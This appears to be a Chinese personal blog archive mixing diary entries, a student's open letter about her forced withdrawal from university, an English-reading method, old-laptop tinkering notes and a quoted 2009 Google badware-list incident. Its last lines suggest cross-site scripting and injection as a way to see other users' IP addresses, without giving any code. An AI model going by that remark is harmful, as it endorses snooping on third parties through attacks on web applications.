感觉特别地累,累的一直没有休息过来,晚上11点早上7点起,中午还要睡上一小觉,还是没有休息过来。
上周未骑车郊区游,逛了一天,骑了也就几十里路,可能是顶风骑累着了,回来后,从周一到周五,每天晚上跑20圈,20X400 =
8000米,心里还在想,这是不是军队里的训练量?这下可倒好,到了周六,感觉实在是累,尤其是大腿,酸痛酸痛的,一直没有休息过来。去老魏那儿做了全身按摩,昨天去骑车走了很远的路,回来了还是酸痛,在操场跑了3圈就顶不住了,赶紧回家睡觉。
早上6点和小善宝一块儿起床,不停地打着呵欠,感觉晕晕乎乎地。这状态,要是有项目立即赶过去的话,还真些顶不住。怎么才能减下这一身的膘来呢?整天精神头老是不足啊。
本文地址:http://qzone.qq.com/blog/622008752-1237143424
本文标签: 香奈尔 北外 教育部 外语 退学
本文已被推荐到腾讯博客, 点击了解更多精彩内容
学校责令我的爸爸和妈妈必须今天赶到北京,因为他们的女儿闯下了大祸,他们在星期一当天必须到北京到学校,负责后果自负。
天亮的时候,妈妈就会赶到北京,爸爸已经来了,我百口莫辩。
我无法向爸爸和妈妈解释为什么是这样的。事情在突然间变的如此糟糕。
所以想了很久,博客还是继续更新把。既然我已经闯祸了,就继续下去。我真的不知道我错在那里?难道我很个人的表达观点会引来这么大的麻烦?
我真不知道为什么是这样的。也不知道继续写什么。
为了给妈妈解释清楚,刚才给妈妈写了一封信。准备明天交给她,面对她流泪的情形,我真不知道如何表达。只好用信,这个最传统的、比较正式的沟通方式。
我知道她为我这个事情流泪是必然的,可怜天下父母心。
今天就把这个信公开一下,也算为关心的朋友解释一下。无奈有时候也是一种勇气。因为有些事只有面对,我无法逃避。
亲爱的妈妈:
在此,我十分惭愧的告诉您一件事。我被学校强行退学了。希望您听到这个消息的时候不要担心和难过。这一切都是我自己惹的祸,但你和爸爸、奶奶都要相信:你们的孩子是个好孩子。她没有做出什么不可饶恕的坏事,现在发生的一切都会用时间来证明:我没有错。如果说真话会成为不可原谅的罪过,那么我宁愿不要这个毕业证,我不想用失去尊严和说谎来交换一个基本没有价值的学历。
我长大了,不再是那个只会听你们安排的小女孩。
我觉的很有必要把这个事情发生的真实过程告诉您:
3月4号,我在一个网站开了自己的个人博客,陆续写了些小文章。我上网时候知道最近在召开两会,很多人大代表和政协委员都在讨论关于教育改革和就业的问题,自己也就一时冲动,马上结合自己的感受写了几个小文章,内容主要是关于当今外语强制教育的,而且戏称让赵本山当教育部长,这句真是开玩笑的,因为是个人日记,就娱乐了一下。本来自己闹着玩的,没有想到被网站推荐到了首页,然后引起了网友的广泛讨论。3月12号,有报纸报道了这件事.该报道被其他多家报纸和媒体转载.报道的题目是这样的:北外女生炮轰外语强制教育。
接下来的事情就比较麻烦,13日上午和下午,我们系的刘老师2次找我谈话,先是了解关于学生和找工作情况的,接下来就直接问我博客的事情,说我的博客直接攻击教育部,攻击教育部就是攻击国家政权,给学校领导造成了很大的压力,
学校要求我立刻停止博客更新,撤掉文章,否则后果很严重。接着刘老师拿出了学生守则,说你在外面实习没有办注册手续,按照规定是旷课,已经连续2周了,所以你已经违反校规,达到了被除名的条件。说实话,我再过三个月就毕业了,找到工作的很多学生和我一样都在外面实习,像我这样的情况也很多,为什么以前好好的没事,我一批评教育部就问题来了,今年就业形势这么紧张,谁不珍惜来之不易的工作?我恨不得天天加班讨好上司,表达我是有工作热情的,可以和男同学一样天天加班,不辞劳苦。
妈妈,你是知道的,我在公司实习,每天回来都很晚了,学校注册的地方是关了门的.我休息的时间,它也不开门.于是就拖了下来。接着,刘老师告诉我:你这已经没有注册两周了,这得按流程走.看你这心思也不在学习上,听说你一直写文章什么的,挺耽误学习.你在这方面有专长也挺好,发展发展.但你违反学校规定了,要是不尽快办手续,学校是不会保留你学籍的,连肄业证明也不会给你.到时候什么都没有就不大好了.接着她就给我纸和笔.催着我写退学申请.我当时一下就慌了.我很怕.其实近20年的学生生涯,我最怕的就是老师找谈话.虽然我是成年人了,但我对此有着习惯性的本能的畏惧.我翻着学生守则,开除和自愿退学是有区别的.开除是要通报批评,好象还要在教委备案的.不尽快退学,学校不给保留学籍和户口,那样我是不是就是黑户了?
我多年的书白读了?
如果真是这样,你和爸爸该有多伤心? 我还有资格最你们的女儿么?
我不想伤害你们,我当时脑中是一片空白.我问老师该怎么写,怎么个格式.老师说,写学习跟不上吧.我说,这也不实际啊.我学习还可以吧。于是,我含糊的写了工作原因,没能按时上课.这还算和学校列出的借口接近。
我很沉重的签下了我的名字.
我相信老师和我一样清楚,强制逼迫我退学的原因是因为我写了博客。批评了教育部。而且老师也很明确的告诉我,如果博客不写了,承认错误了,一切都可以商量。
我不想在大庭广众之下违背自己的良心,已经批评了,就不改口了。我不想拿自己的尊严来和学校交换毕业证。
妈妈,我承认我冒然批评教育部的做法有点傻,有点自以为是。但我没有认为自己做这个事情有什么错误,现在也一样。这是我的真心话,我就是这样想的,无论到了什么时候,说过的话我一定会承认,做过的事情会自己担当。
我长大了,妈妈,我知道我做这个事情的后果。上大学这四年,尤其是找工作这半年,我对社会有了自己的认识。我算明白了一个道理:反正说假话你也找不到工作,说真话自己会过的舒服一点。
在我签字的时候,妈妈,我想到的不是我自己,而是你和爸爸.
我知道你们一直为自己的女儿感到自豪和骄傲.其中有一个很大的原因:就是我从小到大都是一个乖孩子,学习也很好,在考大学的时候我有很多的选择:北大、北外或者其他学校都不是问题。但最后是你让我上的北外。你认为女孩学外语会很时尚,以后当个老师很安稳。我也就听了您的话,报考了北外最好的系之一:德语系。
但我如果不签这个申请,学校会不会还找出各种理由证明我是个坏学生,然后把我开除,不要再继续给学校捣乱抹黑?如果你们知道我连肄业证都拿不了,也许连学籍资料都没有了,你们该是什么样的反应?该是何等的伤心?那你和爸爸是不是会更加伤心,会想,你们的女儿怎么会是这样的呢?
离开老师办公室的时候,脑中映出的,是妈妈,你的容颜.
妈妈,我来到北京外国语大学,最高兴的应该是您.让女儿进外语学院学外语,是您的心愿.按照您的意思,我放弃了我最爱的北大中文系.来到最好的外语学院,最好的专业.终于圆了您一个外语的梦.
我仍记得七岁的时候,您和爸爸就送我去学外语.东北的冬天很冷.爸爸骑自行车载着我去上课。我仍记得,从小学到高中,你们对我寄予厚望,让我一直在最好的重点学校读书.您一直监督我的功课,三四岁的时候就教我认世界地图,记历史朝代.您自己省钱,却买大量的课外书给我,从儿时起的积淀至今都让我收益菲浅.原本学俄语的您,为了我艰难而努力的学起了英语,每天考我单词,听我背课文.我的每点进步都让你们激动不已,我的每个个挫折都让你们无比焦心.高考成绩出来后的电视台采访我,让我谈学校心得,在旁边坐着的您,露出我见到过的,最美丽的笑容.
二十几年过去,你们的女儿,在你们细心的培养和呵护下,长大了.而你们,却老了.
在爸爸五十岁生日的那天,我很刹风景的泪流满面.因为我没想到,像钢铁一样的父亲,曾经为我撑起一片天的你们,也会老.
流泪的那一刻,我知道我长大了.
长大,意味着我要承担做为一个成年人的责任.意味着,我不该再让你们为我操心.意味着,今后的几十年,轮到我,作为女儿,来悉心的照顾你们.
而今天的事情,让我很羞愧.我很怕.很怕伤害到你们.
。。。。。。
可是现在,可我所说的,让我和您引以为荣的北京外国语大学,却在以我为耻.
妈妈,从小你和爸爸就教我一个做人最基本的道理,就是诚实,要说真话.
我认为自己一直是个活的很真实的人.我遵从自己内心最真实的感受,表达内心最真实的想法.难道在中国,不会说外语的人是没有活路的,说真话的人是可耻的么?
我真的认为,外语强制教育制度是不对的.
爸爸也是个党员.作为一个中国人,我真的无比热爱我的国家.我丝毫没有反叛国家的意思.受教育,是每个公民的权利和义务.在受教育的机会上,应该每个人都是平等的.事情都是客观的.我只是从很善良的角度提出了我的看法.我想我们的教育制度变得更好.人们的生活更加的幸福.我是为了国家更好.国家强大了我们才更加有地位.
只是我有点天真,以为自己读了几年书,看了几本书就以为自己很了不起,就以为说真话,提建议是一种提醒公民价值的行为。
所以很傻天真,很天真的人是我。对不起,妈妈。我错了。
在这个世界上,我不知道有些话是不能说的。
但是,妈妈,爸爸,请你们不要为你们的女儿担心.这件事情,不会改变我的人生.请你们坚信你们的女儿是优秀的,这件事并不会代表什么.我会继续做一个说真话的人.继续为我自己的未来而努力的。
我一定会让你们继续骄傲的,像以往一样,让你们充满自豪,为我。
发一些即将离开我生活四年的北外的几张照片作为留念
无论如何,以后和小善宝一起睡觉起床了,早上五点晚上十点,雷打不动的作息时间,晚上看四五个小时的书,比上网或者其它强多了。昨天听说邱老师的事,感觉这人更有趣了。据说上医院检查,医生直接让她回家该吃嘛吃嘛吧,已经快不行了。结果人家就这样早上四五点起来,看几个小时书,再活动一小时,过段时间再去检查,啥事儿没有。本来给他老公孩子,都下了若干遗嘱了,呵呵。不过这人心态非常之好,整天和个文化痞子似的,讲哲学课讲的头头是道,万分有趣,经了这一场变故,更是锦上添花,把课堂变的妙趣横生了。
很长时间没见,这几个家伙都买车了。最近老李同志也不组织腐败,连去欣赏一下新车的机会都没有,整天在这蹲着,照顾好自己的身体吧。向邱丽丽学习吧。
下面,请听伍君仪揭秘成为英语高手的窍门。
你读过英文小说或者任何一本英文原著吗?你具备读英文原版书的能力吗?现在英语教育体系存在严重缺陷:只能读教材,但到了实际应用,就连简单的英文版《达・芬奇密码》都读不下去,更不用说处理英文商务公函、市场分析报告等专业层面的资讯。
生词多不怕 有电子词典
读英文原著提高水平是大家都明白的,问题是真要读起来有技术上的问题:生词密度较大影响理解,查词典麻烦又影响阅读兴趣。如何挖掘新式学习工具带来的高效率,关键是如何引导学生用电子词典去阅读原著。具体做法是:
1.准备一本英文原著(第一本最好是通俗易懂而且有趣的)。
2.建议每读两页(32开)就用电子词典任选查1个生词,其他生词尽量猜意思,实在不行才有限度地多查(以后一定要过渡到每两页只查1个)。注意把握内容大意,允许细节理解上的偏差。查出来的生词随即存入电子词典生词库,然后关机继续读,这样就不用停下来试图记住生词,尽量把查单词对阅读的影响降到最低。
3.每日集中复习电子词典库存生词,做一次"英译中"和"生词拼写"练习,把练习正确的单词从生词库中删除,剩下的连同新一天读书查出来的生词混在一起,留待下一天进行同样的处理。生词记忆的最终完成,是靠它们在原著中不同情节语境中反复出现。
4.初期训练每天至少读20页,旨在克服阅读习惯上的困难,持续一个星期。
核心操作:
打开书本,从正文开始阅读,遇到生词的时候,使用电子词典查单词――每2页有且只有查1个生词!!!
然后,存入电子词典的生词库。存入生词库的具体操作随不同品牌产品、型号而有所不同,请参阅你的产品说明书。主流产品一般设计有一个键调出生词库列表,(例如文曲星会列出"科技"、"文化"、
"体育"三个预先设定好的库,也可以自己重新命名,或者添加新的生词库),供你选择存放在哪一个生词组里头。这样存一个词需要按4、5次键盘,于是电子词典设计了快捷键,只要一按那个存词的键,当前单词便直接存入"默认生词库"里头。"默认生词库"也需要预先设定,在诺亚舟里,做法是在生词库列表中按上下箭头键选择要设为默认的一个生词库,按"="键,该生词库后头就显示(默认),设置成功。在手机上也很简单,在Xcome的朗文词典里,按"书签"键就直接把单词存入了。
每2页有且只有查1个生词适用于32开左右大小的图书(简称"小书");而16开左右大小的图书(简称"大书")则每1页有且只有查1个生词。本书若不特别指明,均以小书作为示例讨论。
" 每2页"指数码页,非纸张页。例如,一本书的第2页和第3页,第1024页和第1025页,刚好是书本摊开的两面。"每2页"形成一个查词单元。除非"每
2页"中你一个生词也没碰到才不用查,任何情况下只能查1个生词――不能多,也不能少。词组、短语等在电子词典中是与单词处于同等地位的词条,亦视为一个
"词"。
阅读原著的时候,是读到某个生词时认为需要查单词就使用查词机会,而不是每翻到新的2页先挑出1个生词来查,也不是每读完2页后再回头找
1个生词来查,简而言之――随读随查。从电子词典查出的生词马上存入机器的生词库,以备进一步处理。确认生词存入生词库之后便可关机,不要试图即时记住。
看完这本书如果对"每2页查1个生词"还有印象,就已经足够了。在"每2页"中,无论碰到多少个生词――10个好,20个亦好,只能1个。这是透析法长期试验和总结得出来的"金标准",因为:
・查少了,单词没有积累;
・查多了,影响阅读进度,并影响后续操作;
・书本摊开的两面作为查词单元具备很强的操作性,不必分心考虑"看多少才查词"的问题,习惯形成以后不容易忘记查词操作。
假如你的英语文化水平确实较低,连透析的
"最低配置"――初中生的水平也没达到,可以适当上调参数,每1页查1个或者更多,而且一定有具体限制,一定要放过一定数量的词不查――这仍旧不是标准的透析,必须尽快过渡到"每2页查1个生词"的金标准。核心参数的设置就是要训练你获得"阅读原著时遇到大量生词时仍能读下去"的能力。
"多查几个不行吗?"
"2页才查1个太少了吧?"
请不要讨价还价:没有任何商量的余地,因为这是海量阅读的必要条件。阅读量是查词的前提――我不反对通过大量查词扩充词汇量,但必须根据核心参数有相应的原著阅读量配合。例如,每天掌握50个生词完全可以,但你必须读够100页。要知道,脱离定量背景阅读查的生词是记不住的。
千万别以为"每2页查1个生词"太少。每天读上几十页的时候,就一点都不少。日后你要处理成千上万页,"每2页查1个生词"和"每1页查1词"的差别都是巨大的。参数的稍许修改将直接影响阅读与单词记忆的平衡,全面打乱透析原著的操作,后果很严重!"每2页查1个生词"不但符合休闲原则,而且涉及阅读的安全性问题。多查1个生词都会倍增你的工作量,最终迫使你放弃原著阅读――这就是透析失败的最严重后果。衡量一下几个生词重要,还是几十本原著重要?提前告诉你:当你用这个方法读到60本原著以上的时候(大概需要几年),你会出现"生词荒",即是找不到生词的情况,到时你会更真切地体验到"每2页查1个生词"
强大的生词处理效率!
每2页才有1个查词机会,你可能会问:生词多多,如何选择?答曰:悉随尊便。可以查重现率高的词,因为查明意义就能明白书中许多地方;可以查你认为"关键"的词,如小说关键情节中的生词;还可以从"功利"出发,优先查考试中可能出现的"大纲生词",等等。我在读《Augustus》(《奥古斯都传》)的时候,有一页我查了个很古怪的生词augur(古罗马用观测飞鸟等方法预卜未来的占卜官),为何?因为这个词和我的英文名Augustus很像!特别是在词汇量迅速扩大以后,读一本词汇不多的原著(例如现代著作)时,你会慨叹"生词查无觅处",每2页中可能只有一两个――那就要查你碰到的第一个生词了,如果放过就可能就再也找不到生词了。有朋友建议进一步细化选词规则,例如某个单词出现第2次才查――没有必要:复杂的选词规则使你分神去想查哪个生词合适,导致注意力没集中到原著的内容上。单词只不过是阅读的工具,原著材料的内容才是透析操作的第一追求,请不要本末倒置。
英文单词往往一词多义,我们完全没有必要把所有词义都一下记住,只要找到能够解释原著语境中的具体词义就足够了。例如《 The
Moonstone》(《月亮宝石》)136页:"bears as near as may be, due
south."查"due",电子词典给出下列一箩筐解释:adj.(1)适当的;应有的,应得的;应给的;正式的;充分的
(2)(车船等)预定应到的;预期的;约定的 (3)欠款的,应支付的;(票据等)到期的
adv.(罗盘指针)正(南、北等)n.(1)应得物;应得权益;应有的承认 (2)[~s]应付款;税;会费
显而易见"正(南)"是对口的解释。因而,没有必要把所有的解释都塞到大脑里,只要把原著的句子读通了,查词的目的就达到了。
反过来,如果碰到学过的词,却发现意思解释不通,就很有可能是该词的不常见释义,我们应当成生词处理。例如,《The
Odysseys》(荷马史诗《奥得赛》)里Odysseus说:"We stepped the
masts."我们自以为step是最简单不过的词了,可是解作"踏,跨步"是怎么也说不通的。查词,电子词典显示:"vt.【海】竖立(桅杆)于桅座上
"。这里,step就是一个不折不扣的生词,应该存入生词库,同时占据该"每2页"的查词名额。因此,在一知半解的情况下,还得虚心多向电子词典请教。
在查词单元之中,没查的词是"透过",查的词是"析出",合称"透析"。
2、电子词典货仓式背词
假设你今天读了20页,电子词典的生词库里就增加了20个生词。
第二天起床以后,捧起英文原著之前,按顺序进行如下操作:
1.打开单词复习菜单中的"英译汉"或者"英翻中"功能,检查自己能否看到单词时马上想起中文意义(原著中相应的意义便可)。
2.打开拼写测验功能,测验库存单词。如果"测验范围"或者"测验词库"的设置不是生词库,请先将测验的对象设置为生词库。有的产品要求全部拼写,有的产品提供首尾字母提示,有的产品仅需填入随机抽空的几个字母:难易差别对效果也没有影响。
3.回到生词库界面,逐一审核库存生词,看能否回忆。成功通过前两个步骤,并且审核也通过的单词,从生词库中删除;否则任何一步出错都要保留,留待明天进行同样的操作。每日的单词审核删除叫做"出货"。
有些电子词典产品不具备步骤1和2所需功能,只能略过,效果影响还不算很严重,因为复习强度会在日后的阅读中得到自动补偿。但最好还是选购主流电子词典,它们都具备这些常用的功能。
货仓式背词对来自原著的生词进行了3次重复记忆,是很强的初步记忆。但是,它并不是使你一劳永逸地记住当天的生词,而仅仅是让生词在你的大脑里登记一下。注意:没通过的生词不要尝试当天就进行多次复习,就让它在货仓里多存几天,让它慢慢渗入你的大脑皮层――每天的货仓式背词只需进行一次。真正的长期的、牢固的、理解性的记忆是靠长期读原著逐渐完成的。
生词库就是你的生词货仓:每天存货,次日出货。只要货如轮转,每天都能记住一批生词。这种机械化自动化的单词"批量生产"拥有当前学习方法的最高效率:阅读查词与记忆操作分离,把生词集中起来处理,去除了"强迫自己记住"的主观成分,从而最大限度地保证了阅读的连续性。例如,我在一本原著中碰到"daguerreotype"(银版照相法),如果停下来努力记下这个又臭又长的生词,阅读肯定没法进行下去;而根据操作规则我只是把它存到生词库里,然后立即恢复阅读。在复习和测验的时候,不必强求自己做对而苦苦回忆,以免在操作上耽误时间。想不起来说明你对该生词还不熟悉,请检测下一个。同样是那个"daguerreotype",我足足存了10天才出货――货仓式背词根据单词的难易和你当时的记忆状态自动安排好每个词需要保留的时间,免除了主观的判断。
我的货仓存货量随每天透析阅读量的不同而改变,常在10~30之间,很少超过50。因此,每日测验是个轻松的习惯。货仓的吞吐量,间接反映了进步的速度。
不要以为留着生词舍不得删效果会更好。不删的话,"每2页查1个生词"的进度很快就会造成生词库积压,将会打击你背词的兴趣――臃肿的生词库已经和一般词汇书无异了。盲目保留生词不会增加你对生词的熟悉程度;删除并不意味对它的记忆过程到此为止。只存货不出货,不仅占据货仓的周转空间,还会使存货在仓内烂掉。
无暇阅读的日子,也要坚持货仓式背词。生词库就没有进账,每天的背词操作很快就会耗竭生词存货,提示阅读正处于停止状态,催促你尽快恢复阅读。"阅读可停,货流不断"。
"Ideas that have great results are always simple ones."――《War And
Peace》(《战争与和平》)第1262页。
两个原则:
1.每本英文原著须从一而终读到底:浅尝辄止是读书的大忌;换书要在10页内作出决定,透析超过10页以后必须坚持到底。
2.每本英文原著一般只透析一次,除非你有特殊目的,切忌一本原著读完又读。这个世界信息爆炸,绝大多数信息你只能接触一次,所以你必须习惯永不回头。
注:本文系编者根据网上资料整理而成,但愿中心思想没有偏离原作者要求。
最近几周,又花220元钱买了一台IBM笔记本。价格倒是真便宜,220块也就吃顿饭的价格。不过机器经过10来天寄到手,拆开包装一看,成色倒是真对的住这价格。以IBM钛合金那种结实骨架,基本都磕的到处是伤。外面的黑色漆掉了一块一块,象是被火烤过一般,摸上去感觉粘乎乎的。
打开屏幕,倒是亮色完美,无班无点,再一敲键盘,可毁了,手感还不如30块钱的键盘。比我原来买的同型号的tp600,更是没法比了。而且上面若干键位也粘乎乎,倒是倒过咖啡。敲上去,有若干键位也没有响应。
拆机。少了若干镙丝,可谓少皮没毛。硬盘架也没有了,用几块破报纸垫着,靠,这哥们儿还真是有财,居然想出这么个招儿。不过倒也说的过去,用报纸塞好以后,牢固程度不差起原机配套的硬盘架。
最扰心的是,对硬盘只读不能写,换上在另一台机器上能用的硬盘也不行。无法安装系统,只有读取无法写入,靠,这叫什么事儿?也没听说主板会有这种毛病。这个问题无法解决的话,就只能找个光驱位硬盘架了。
又从网上找了块CPU,花了55,机器速度和现在最流行的机器配置也差不多了。要是再有个键盘,把硬盘问题搞定,就更完美了。
这个型号的光驱位硬盘架不好找,看看吧。暂时用不着这机器,先放柜子里。
其实也没什么抱怨的,光屏幕的价格也值220了。但对着这么个破机器,总感觉失去了许多。哎,以后不折腾这个了。需要机器,直接一步到位,买最新最高配置吧。
"百度一下:互联网时代的2008年度记忆"简介
《百度一下》 作品相关
每一次搜索都是一种表达,数亿网友在百度每天的搜索"投票",刻录下来的是年度的历史记忆,沉淀下来的是超越个人的群体意识和时代精神。 ・编辑推荐 ・内容简介
・作者团队简介 ・目录
・2008年度十大热门事件 ・悲欣交集2008
《百度一下》 第一部分
众里寻她千百度。百度最大的资产是它凝聚用户的能力。不同的用户选择使用这一搜索工具,得到他们想要的信息,百度在汉语搜索上的优势使其凝聚到了最大份额的"中国读者","百度一下"成为搜索一下的替代用语,这是技术的胜利,工具的胜利。
・百度的成人礼 ・风云际会纠结跌宕的2008(1)
・风云际会纠结跌宕的2008(2) ・风云际会纠结跌宕的2008(3)
・榜评永远不变的是变化(1) ・榜评永远不变的是变化(2)
・2008年度十大热门事件 ・榜评悲欣交集2008(1)
・榜评悲欣交集2008(2)
《百度一下》 第二部分
1月2日,新疆乌鲁木齐德汇国际广场发生火灾,5日下午大火被扑灭。火灾中共有5人遇难,其中3人为消防官兵,直接经济损失超过5亿元。此次火灾,人们聚焦于小商品市场的消防安全问题。
・第一周0101~0106 ・第二周0107~0113
・第十三周0324~0330 ・第十六周0414~0420
・第十八周0428~0504 ・第二十周0512~0518(1)
・第二十周0512~0518(2) ・第三十周0721~0727
・第三十二周0804~0810(1) ・第三十二周0804~0810(2)
・第三十二周0804~0810(3)
《百度一下》 第三部分
近日,一段白岩松主持的10月7日《新闻1+1》的视频在一论坛上被贴出,引发网友热议。网友称其在节目中语无伦次发挥失常,怀疑其醉酒出镜,甚至将其中一些"对话"制成"白岩松醉话录"。白岩松对此未予回应。
・第四十二周1013~1019 ・第四十五周1103-1109(1)
・第四十五周1103-1109(2) ・第四十九周1201~1207(1)
・第四十九周1201~1207(2) ・第五十周1208~1214
・十大人为灾难事件 ・在灾难中不断寻求进步的路……
・十大网络人物 ・从人肉搜索到网络审判
・最受关注的十大文章 ・文字的力量
・十大最受关注经济事件 ・十大最怀念文娱人物
・那些人儿 ・十大最受关注奥运赛事
・向比赛致敬
老宋说,要不弄一个玩?
感觉没意思,还是算了吧。喝酒聊天吧。
酒里带着些甜味,有些饮料的感觉,喝多了,就在肚子里积攒出一个很大的空间,胀的慌。
音乐很没劲,只是瓜子刮噪的音符,毫无美感。
不通气的空间里,到处弥漫出烟雾,连吧台上倒酒的三四个姑娘,也每人吐云吐雾,和客人玩着筛子。到处都显的颓废无聊,在这样的深夜里,这样挥霍着春天的时光?
都说中国人网民多少?有点条件的,一般都能上网吧,连农村里都有许多电脑了。上网也成了很多的娱乐活动。然而,通过上网寻找精神的娱乐,却更加让人无聊,身体也变的肥胖,性格变的孤僻,渐渐成为一种精神障碍。
但几乎可见的娱乐活动,都充满了声色犬马。要是和几个朋友,马上去哪儿去玩呢?酒吧歌厅乌烟瘴气,洗浴桑拿更不用说了,就说上岛两岸或其它的咖啡店茶馆,也坐满了暧昧的男女。到哪儿能找到新鲜的空气,和透畅的交流呢?
有个国外老愤青说什么来着?中国人放纵着情纵,会准备随时着和不认识的陌生人,发生性关系。
到处真是堕落啊。
一定不会用这种沟通方式,拉客户做项目,如果有这样的项目,不做也罢。
主要是去年我在slackware下,用Motorola V730实现了cdma 1x无线上网,另外同学那儿有AireCard
750,也在我的机器配置好了。现在我主要用朋友给的一块Symbol无线网卡上wlan。
机器配置为 IBM tp600 + SLackware + FreeBSD 5.0
另外,哪位有蓝牙设备,我也可以帮你搞定
如T39一类,通过蓝牙、红外口无线上网的方法,大家可以在此交流。只要有设备,我可以很快帮你解决地。呵呵。因为我很少上网查资料,有问题都是自己搞定
----03年的一篇文章
出2个T2X电池,一个好一个坏,都没有拆开过,容量看图,好的那个80元,坏的那个20元。2个都要包快递,好的那个上网1个小时左右。电话13321899985
QQ398252814
http://www.laptopsky.com/bbs/read.php?tid=41596 mmc2转mmc1,到哪儿找这种转接卡呢?
http://www.rayfile.com/zh-cn/files/6f32ee57-8b18-11dd-9a89-0014221b798a/
tp600升u的软件和资料
http://www.rayfile.com/zh-cn/files/6f32ee57-8b18-11dd-9a89-0014221b798a/
如何拆tp600
http://www.laptopsky.com/bbs/read.php?tid=38055 tp600的升级与心得体会
http://shop33073845.taobao.com/ 胖太阳的店
http://www-307.ibm.com/pc/support/site.wss/document.do?sitestyle=lenovo&lndocid=DSHY-3VRJPK
下载最新的bios文件,我的似乎已经升级过了吧?
http://store.taobao.com/shop/view_shop-a75d47e3f5b5ad54e5133b2cfb41234d.htm?nekot=g%2Cpf4wg2tl1232502186894
yycjk的折腾过600x,全套一大堆配件,似乎只要500?
Google MMC1转MMC2看看,内容确实不多,看上去似乎不如600x主板+cpu+风扇更稳定呢
http://item.taobao.com/auction/item_detail-0db2-c08314c4f951ad7ec1596d9298ec4e72.jhtml
p3 650 68元/个
扩展坞 3547
目前的方案是这样,使用旧的那台,将 PII 366 -> P3 750,然后加内存。然后将手上的这台tp600,换成Pii
366,只升了66,差别不大吧,还是不折腾。那怎么办呢?还有个方案,1、找mmc2转mmc1的转接卡
2、找个600x的废旧主板+cpu+风扇
http://shop33531487.taobao.com/ 卖SD内存的
http://item.taobao.com/auction/item_detail-0db2-3452a791c4faac34dd878098fdbf2484.jhtml
p3 700硬改全频包快55
注:有一段时间用 card reader,所有人都说不错,但我在使用的过程中,经常会遇到机器重启的问题。但card
export就没有这个问题。现在解决了card
export无法问题,又可以直接读写SD卡了。把最新的pssh放到卡上面,上newsmth.net速度很快。
另外,网上还有个工具,叫 fixce,似乎是叫这个名字,几年前我用过,效果也是一样的,也能解决此问题。不过很多机器上面,都安装了resco
explorer 吧?用这个工具修改也非常方便。
Palm 不支持 Fat32 ?
淋在身上,初春的雨水特别凉。心里却觉的特别高兴。一直为自己的农民身份自豪,觉的城镇长大的孩子特别笨,从小没干过农活,动手能力特别差,没一点儿创造力,只有一些小聪明。还是咱农村出来的,锄过地扶过苗的,踏实、进取、有创造力,相比从小在城镇长大的,哪一个不是特别优秀?
雨下的不大不小。回到家,湿了一层衣服。听说还是人工降雨。这几年不断的人工降雨,然而雨量不断地减小不断地减小,感觉人工降雨就像拨苗助长一样,长期看有了坏影响。不知道有人研究过没有?长期的人工降雨,会对天气和环境造成哪些影响?不能紧盯着这一场雨来看啊,毕竟还要在这片云彩下,活上很多年呢
今天又借了两本。
一本是《何新论金融危机与中国经济》。感觉这本非常棒。只读完前几页,已经解答了长久以来的疑惑。这场金融危机的本质是什么?怎么产生的?有哪些影响?何新在《香港商报》7月10日上有篇文章,就已经清楚地预测地这场危机。此书第一篇,就将此文收录进来,整篇文章看上去很有说服力。从美国新经济的脆弱性、美元泡沫、美国经济崩溃对全球的影响几个方面,有02年的时候,就对今天出现的一切现实,给出了明确准确的预测。
看完一半,学经济的同学说何新是个大忽悠,呵呵。但我感觉文章里面的东西,还是比较靠谱的。可能我不是这个专业的,只能接受普及水平吧。反正看着还行。
家里来了两个七个岁的小孩,异常吵闹。
继续折腾我的treo600,以及那台老笔记本电脑。
折腾前:600E P2-366 128M 6G
折腾后:600X P3-850 576M 15G 3547-003
深度简化XP 双模无线网卡(GPRS+WLAN)
订了祈福卡,过几年到货。
过了一会儿,来到一个山谷里。里面有一帮科学家正在疯狂地做着各种试验。跟他们聊了一会儿,不知为什么搁下这么一句话:"你们忙,我们先走了。要是哪天太阳没了,你们也不用担心,我们可以变成太阳和月亮,给大家照亮儿。"
话虽这么说,心底里却想,挂在半空,其实也挺孤单的。真有那么一天,我会义不容辞地挂上去吗?
走过一个山坡。我问另一人。(一直没仔细看清另一人是哪位?)你的马蹄形工具装好了吗?他居然回答,借给那帮科学家研究了。
"你个SB",我急的马上骂出来。也来不及解释,心底里着急:"这要是让这帮科学家折腾了,世界还不乱套?本来还想多玩几天呢,没想到马上就得挂到天上去,给大家当太阳。"
刚走几步,正碰上科学家的头坐车急速出来。头顶像是刚被雷劈过,头发焦了正在冒烟。
也不知怎么,我就想,难道急着去国防科工委汇报?(因为我是中国人嘛)。他们要是从马蹄形铁上刮出一点儿渣来,就可以克隆一个同样的。这个世界会很惨的。
正在想着,第二辆车开来了。我忙弹了一道凌厉的指风,企图阻止车子停下来。没想到军车翻了个,居然车头对着我,一掀盖布,露出一个巨大的声波武器来。一道激烈的冲击波就轰了过来。我一低头躲过。
于是一场大战开始了。
最后快醒的时候,我还想,我和他们单打独斗干什么?我可以控制天气,制造风暴,影响大自然,就让大自然惩罚他们吧。
[Update 12:31] Google has posted an update on their official blog that
erroneously states that Google gets its list of URLs from us. This is
not accurate. Google generates its own list of badware URLs, and no
data that we generate is supposed to affect the warnings in Google's
search listings. We are attempting to work with Google to clarify
their statement.
======================================================================
http://googleblog.blogspot.com/2009/01/this-site-may-harm-your-computer-on.html
What happened? Very simply, human error. Google flags search results
with the message "This site may harm your computer" if the site is
known to install malicious software in the background or otherwise
surreptitiously. We do this to protect our users against visiting
sites that could harm their computers. We work with a non-profit
called StopBadware.org to get our list of URLs. StopBadware carefully
researches each consumer complaint to decide fairly whether that URL
belongs on the list. Since each case needs to be individually
researched, this list is maintained by humans, not algorithms.
We periodically receive updates to that list and received one such
update to release on the site this morning. Unfortunately (and here's
the human error), the URL of '/' was mistakenly checked in as a value
to the file and '/' expands to all URLs. Fortunately, our on-call site
reliability team found the problem quickly and reverted the file.
Since we push these updates in a staggered and rolling fashion, the
errors began appearing between 6:27 a.m. and 6:40 a.m. and began
disappearing between 7:10 and 7:25 a.m., so the duration of the
problem for any particular user was approximately 40 minutes.
---------注:我也有一个猜想,请参看上一篇博文。
但有一种情况,发送邮件者通过web mail发送时,发送的IP地址就变成web
mail服务商的地址了,不会显示发送者的原始地址。另外,在许多论坛上面,我们如果也想查看其它人的IP信息,怎么办呢?
上面的这种情况还是很普遍的。即,所有的客户访问活动,都是在server上进行的。第三方没有管理权限,如果查看其它访问的信息?
跨站和注入是个很好的工具。跨站和注入相结合的广泛应用,说明了大量的应用,仍然没有对输出输出进行严格的控制。其实不光跨站注入说明问题,还有许多应用实现偏离安全设计目标的情况。这种情况更为多见。
什么意思呢?应用实现偏离安全设计目标。
